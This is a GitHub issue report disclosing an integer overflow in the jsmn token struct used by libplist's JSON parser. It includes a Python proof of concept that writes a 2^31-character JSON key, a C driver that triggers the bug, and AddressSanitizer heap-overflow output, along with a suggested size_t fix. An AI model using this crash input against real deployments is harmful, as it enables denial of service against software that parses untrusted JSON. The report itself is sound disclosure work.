- 
          
 - 
                Notifications
    
You must be signed in to change notification settings  - Fork 328
 
Open
Description
/**
 * JSON token description.
 * @param      type    type (object, array, string etc.)
 * @param      start   start position in JSON data string
 * @param      end     end position in JSON data string
 */
typedef struct {
    jsmntype_t type;
    int start;
    int end;
    int size;
#ifdef JSMN_PARENT_LINKS
    int parent;
#endif
} jsmntok_t;Using int to store start, end, and size in this structure can lead to crashes when reading a tag longer than INT_MAX.
PoC (Proof of Concept)
Python code that writes a JSON file with a very large string to trigger the overflow:
def stream_write_with_chars(prefix, suffix, char, count, output_file):
    """
    Write content in a streaming manner: prefix + count copies of a specified character + suffix.
    """
    if not isinstance(count, int) or count < 0:
        raise ValueError("count must be a non-negative integer")
    with open(output_file, 'w', encoding='utf-8') as f:
        f.write(prefix)
        chunk_size = 1024
        remaining = count
        while remaining > 0:
            write_size = min(remaining, chunk_size)
            f.write(char * write_size)
            remaining -= write_size
        f.write(suffix)
    print(f"Successfully wrote to file: {output_file}")
    print(f"Content structure: prefix({len(prefix)} characters) + {count} '{char}' characters + suffix({len(suffix)} characters)")
if __name__ == "__main__":
    prefix = '''{ "Name'''
    suffix = '''": "Alice", "Age": 20 }'''
    insert_char = "a"
    char_count = 0x80000000  # 2^31 characters
    output_filename = "6.json"
    try:
        stream_write_with_chars(prefix, suffix, insert_char, char_count, output_filename)
    except Exception as e:
        print(f"An error occurred: {e}")Driver Code
C code that reads the JSON file and parses it:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <plist/plist.h>
plist_err_t plist_from_json(const char *json, uint32_t length, plist_t *plist);
int main(int argc, char **argv)
{
    if (argc < 2) {
        fprintf(stderr, "Usage: %s <json-plist-file>\n", argv[0]);
        return 1;
    }
    const char *filename = argv[1];
    FILE *fp = fopen(filename, "rb");
    if (!fp) { perror("fopen"); return 1; }
    fseek(fp, 0, SEEK_END);
    long size = ftell(fp);
    fseek(fp, 0, SEEK_SET);
    if (size <= 0) { fprintf(stderr, "File is empty or invalid size\n"); fclose(fp); return 1; }
    char *buffer = malloc(size + 1);
    if (!buffer) { perror("malloc"); fclose(fp); return 1; }
    fread(buffer, 1, size, fp);
    buffer[size] = '\0';
    fclose(fp);
    plist_t root = NULL;
    plist_err_t err = plist_from_json(buffer, (uint32_t)size, &root);
    if (err != PLIST_ERR_SUCCESS || !root) {
        fprintf(stderr, "❌ plist_from_json() failed: %d\n", err);
        free(buffer);
        return 1;
    }
    printf("✅ Parsed JSON plist successfully!\n");
    
    char *xml = NULL;
    uint32_t length = 0;
    plist_to_xml(root, &xml, &length);
    if (xml) { printf("\n=== Converted to XML ===\n%s\n", xml); free(xml); }
    plist_free(root);
    free(buffer);
    return 0;
}Observed Result
AddressSanitizer: heap-buffer-overflow ...
READ of size 1 ...
0x7fa4606fb81c is located 0 bytes to the right of 2147483676-byte region ...
SUMMARY: AddressSanitizer: heap-buffer-overflow in unescape_string
Suggested Fix
Use size_t for start, end, and size to be consistent with the data types used for file reading.
Metadata
Metadata
Assignees
Labels
No labels